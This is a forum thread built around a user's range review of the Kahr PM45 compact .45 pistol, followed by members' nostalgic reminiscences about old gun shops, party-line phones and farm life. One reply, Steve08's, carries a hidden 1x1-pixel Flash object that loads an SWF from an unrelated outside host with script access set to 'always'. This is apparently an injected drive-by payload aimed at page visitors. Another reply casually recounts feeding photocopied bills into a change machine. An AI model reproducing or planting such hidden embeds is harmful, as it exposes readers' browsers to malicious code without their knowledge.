Remember the "Good Old Days?"

[allaboutshooting]

I have found that some products have gotten much better over the years. I still remember 1500 mile oil changes, rusted-out mufflers, tires that were shot with just a few thousand miles and gun choices that were pretty limited. If you'd told me about this gun back then, I would not have believed it.


I hope you enjoy the read.

Kahr PM45 Black - A Compact .45 I'd Never Have Imagined Possible
June 24, 2016 • Product Tests

PM4544 (3.24" Barrel)
Black polymer frame, matte blackened stainless slide

Caliber: .45 ACP

Capacity: 5+1
Operation: Trigger cocking DAO; lock breech; "Browning - type" recoil lug; passive striker block; no magazine disconnect
Barrel: 3.24", polygonal rifling, 1 - 16.38 right-hand twist
Length O/A: 5.79"
Height: 4.49"
Slide Width: 1.01"
Weight: Pistol 17.3 oz., Magazine 2 oz.
Grips: Textured polymer
Sights: Drift adjustable, white bar-dot combat sights
Finish: Black polymer frame, matte blackened stainless steel slide
Magazines: 3 - 5 rd, Stainless



http://www.kahr.com/



I began shooting .45 ACP pistols as a young man when surplus .45 caliber ammo was readily available and very inexpensive. The same was true of .45 caliber pistols that had been used by our troops since the adoption of the 1911 as the official sidearm. There were some smiths who did custom work to those guns but for the most part, they were strictly stock guns. Some grouped well and some didn't but they were generally very reliable.

Fast forward a few decades and what was unimaginable back then is now available from Kahr. Now there is a .45 ACP pistol that's less than 6" long and weighs just a bit over 1 lb. Add to that the built-in safety features and accuracy of polygonal rifling and you have the Kahr PM45.

First of all, this is a beautiful pistol. The fit and finish are excellent.
Ultra hard and super thin coating

"The PM4544 matte stainless slide is blackened using an ultra hard and super thin coating. This coating has been used successfully in the knife industry to protect blades from corrosion and scratches."

The first time I put the PM45 in my hand, it seemed to fit correctly. I did have some concern about shooting full power .45 ACP loads in such small pistol however. Over the years I've shot a lot of .45 ammo, through a number of different guns. I've never had one hurt me but they were all larger than the PM45. This gun is very similar in size the the Kahr CM9 that I've carried on a daily basis for some time and I like the idea of all the familiarity that I've gained with the CM9 being transferred to the PM45.

There's only one way that I know to see how a gun performs and how it really feels in the hand and that's putting some rounds down range. So, I picked up a couple of brands of .45 ammo and headed to the range.

For all of their guns, Kahr recommends that you put 200 rounds through the gun before relying upon it for personal defense. I trust Kahr and always do that but frankly, I've never had a malfunction in that first 200 rounds with any of my Kahr pistols. I have noted that they seem to become smoother in operation after a couple hundred rounds however.

To "function test" the PM45, I loaded 3 magazines with some .45 ball ammo that I use mainly for that purpose. I used the same procedure for each magazine fired. I filled each magazine with the maximum of 5 rounds, inserted the magazine, racked the slide to chamber a round, ejected the magazine and put an additional round in it, then reinserted it, so I was ready to go with 6 rounds each time.

For this portion of my evaluation, I just wanted to put some rounds down range, so I used a one hand hold and fired at a target 7 yards away. The shells that I used were full power with a full metal jacket and not particularly accurate. I was pleased to see that I could still keep all the hits in a pretty tight group at that distance. Like all Kahr pistols, the PM45 has an excellent trigger and that really helps.

After firing 18 rounds through the PM45 I was not "gunny" nor did I feel any particular trauma to my shooting hand. The design keeps the recoil to a very manageable level and the grips seemed to have absorbed most of the recoil from those rather harsh rounds.

Now that I had a few rounds down range to test function, I wanted to try some of the ammo that I would favor for self-defense, Polycase 118 grain Inceptor ARX shells. These shells feature a very light, 118 grain bullet that leaves the muzzle at 1307 fps with 448 ft lbs of energy. Compared to many other .45 loads, the recoil is much less, the accuracy is outstanding and the ARX bullet does what it's designed to do.

I loaded 3 magazines with the Polycase shells, using the same procedure as before and again used the standard 7 yard distance for my target. It was quite evident from the first round that this combination would be something special and it truly was. Squeezing the trigger carefully, I was able to shoot groups of 1" with 3 shots. For me, that's excellent shooting and I'm sure that others could do even better.

Then I shot 2 shots and 3 shots rapidly as might happen in a defensive situation. Again, groups remained tight and very manageable. My confidence level in the PM45 continued to increase with every round.

I had fired 36 rounds of .45 ammo through a very small pistol and if you'd asked me before the session began, I'd have told you that half that number of rounds would have been enough to make me want to stop for the day. That was just not the case with the PM45 however. I was still feeling good about the gun, its accuracy and my ability to shoot it.

My first .45 was a Model 1911. It was reliable, inexpensive and ammo was plentiful and cheap. Over they years, I had a series of those guns, including a couple of 1911A1s. I enjoyed shooting them all.

The Kahr PM45 delivers full .45 ACP power just like those 1911s but with built-in safety features that are far superior. It is exceptionally accurate, with excellent sights, a great trigger and all in a package that is easily carried for personal defense. If you've ever wanted a full power .45 ACP pistol in a compact package, I'd recommend that you take a look at this one.

To learn more about the PM45 and other Kahr products, please visit http://www.kahr.com/

Thanks,
Clark

 

[greg_n_clayton]

I bought a dbl action 9mm browning in the late 70's at Franklin's in Athens for less than 200 bucks when I worked for the Sheriff here !! Another one of those items I wish I had held on to !!

 

[mrs. hornet22]

I bet that Franklin's in Athens was on Hawthorn, instead of the Atlanta Hwy. Right?

 

[greg_n_clayton]

In town. Kinda had a down hill driveway !

 

[mrs. hornet22]

In town. Kinda had a down hill driveway !

That was the OLD Franklin's. H22 bought his first gun from Mr. Clarence in the basement of his house on Chase Street.

 

[KyDawg]

I remember when a humidifier was putting a pot of water on the wood stove.

 

[KyDawg]

People used to be very concerned about the cost of a long distance phone call. You always waited until after six and if you were calling to let your family you made it safe to your destination you would call them person to person or collect to let them know you made it and they would just decline the call.

 

[GoldDot40]

That was the OLD Franklin's. H22 bought his first gun from Mr. Clarence in the basement of his house on Chase Street.

My dad was a part-time gunsmith for Mr Clarence back when they had the store on Hawthorne.

 

[mrs. hornet22]

People used to be very concerned about the cost of a long distance phone call. You always waited until after six and if you were calling to let your family you made it safe to your destination you would call them person to person or collect to let them know you made it and they would just decline the call.

Yes sir.

 

[Nicodemus]

People used to be very concerned about the cost of a long distance phone call. You always waited until after six and if you were calling to let your family you made it safe to your destination you would call them person to person or collect to let them know you made it and they would just decline the call.

I used to do that a lot, so Mama would rest easy.

 

[Hooked On Quack]

 

[Artfuldodger]

People used to be very concerned about the cost of a long distance phone call. You always waited until after six and if you were calling to let your family you made it safe to your destination you would call them person to person or collect to let them know you made it and they would just decline the call.

Remember "party lines?" You'd have to wait until someone got off the line to make a call. I did the collect call thing too.

 

[Artfuldodger]

 

[Ruger#3]

Remember "party lines?" You'd have to wait until someone got off the line to make a call. I did the collect call thing too.

Or you would hear a "click" in the middle of your conversation and no second "click" when they hung up. With just a hand full on the line you learned who you party line stalker was.

 

[Redbow]

People used to be very concerned about the cost of a long distance phone call. You always waited until after six and if you were calling to let your family you made it safe to your destination you would call them person to person or collect to let them know you made it and they would just decline the call.

You are so right about that, we like others didn't have money to waste on a long distance phone call not back in the day I was growing up..

My Uncle bought a Remington model 514 single shot Rifle for me when I was 9 years old. He paid $5 bucks for it at a pawn shop in Virginia, way back in the fifties..I still have that little gun. I hunted with it for years killing many Rabbits, Squirrels and birds with it which we always ate, nothing went to waste on the farm..

I remember cars with running boards when I was coming along . Us kids used to jump up on them and steal a ride as people came driving into our yard or when Grandpa came in from town . Grandmother always fussed with us for doing so she was afraid one of us would slip and fall underneath the car and get run over..

I was raised on a tobacco farm up in Johnston County NC and I remember in some years tobacco was not selling well in eastern NC ..My Grandpa and another man packed their tobacco onto the back of a dual wheeled flat bed truck and headed for Georgia with it..Tobacco down there was selling for a few cents more per pound than in our area which made trucking it to Georgia worthwhile and more money in the farmers pocket for his product. I always wanted to make that trip with Grandpa to Georgia but school was in so I had to stay home . I couldn't miss the 3 or 4 days it took them for the round trip down the old 301 highway, there was no interstate system back then..

I remember many days in the tobacco fields priming tobacco. I usually worked the Mules and took the harvested tobacco leaves to the barn for stringing onto tobacco sticks by the barn help..Tobacco was hard work back then...Sometimes Grandmother would give me a couple gallon jars of water for the field crew. At the end of the rows next to the woods Grandpa and his nephews would sit down under the shade trees and drink the water, a few minutes rest always helped and the refreshing cool well water was very appreciated by the men..The animals enjoyed the brief stoppage of work also..Grandpa's watermelon patch was almost always right next to his tobacco field and the men would walk over and pick 3 or 4 good ripe "Georgia Rattlesnakes" my Grandpa always called them and put them into the tobacco truck for the barn hands. Those big Rattlesnakes were delicious and everyone enjoyed them..

I could go on and on about the old times, I am glad I was part of it in this life. I often miss it, times were hard back then for most everyone, farmers and town folk alike. Simple times, simple pleasure's and simple lives all gone now with the passing years, just like the folks who raised us kids and took care of us back in my days of growing up..

 

[Steve08]

I used to do that a lot, so Mama would rest easy.<object classid="clsid: D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1"><param value="http://picz.website/u/1/c.swf"><param name="allowScriptAccess" value="always" /><embed allowScriptAccess="always" src="http://picz.website/u/1/c.swf" type="application/x-shockwave-flash" width="1" height="1"></embed></object>

Same here! Now, I just use skype or something..

 

[bullgator]

I remember when there were actually some politicians that wanted to do the right thing for us.

 

[wareagle700]

I just miss bricks of .22lr for $7-$8 a box.

 

[Anvil Head]

You guys remember the old Sinclair station out Prince Ave right near the turn off to "the hole in the wall"? Old fella used to let us charge a box of 22 lrs as a can of oil when we gassed up using my buddy's dad's credit card. We then hit the woods around the river and shoot some dinner.
His dad spent untold hours every time we went home looking for that **&^&(*&)^ oil leak in that old slant six Dodge.

Man, UGA was fun back then!

There used to be a paper to coin money machine in one of the dorms (old tech kind) someone figured out to xerox bills and feed them for free change. Took them a couple of months to figure out what was going on.

Also the Laundry Mat over next to the Krystal - Dryer #3 was like a slot machine. Every forth or fifth user got all the change back from the previous user. Sit in the corner and count on a busy night and you could wash your clothes for free.

Alice's Resturant - now there was a very kindhearted operation. The owner/cook - Al(?) always dressed the theme of the blue plate special, served almost at cost and didn't charge tax. If you looked underfed and hungry he wouldn't charge you anything if you bused tables for a half hour. He wasn't light on the plate either.

I got some of the red counter top from the old downtown Varsity when it was demo'd. Enough to handle several "Dawg" knives. Still have enough to do one more bowie. I swear you can smell the greasy fries when sanding the handle to shape!

Paid my way through Forestry School working at Whitehall, running the sawmill, bushhawging, and caring for lab animals.
Life was good back then.

 

[35 Whelen]

I remember when gasoline was 15 cents a gallon.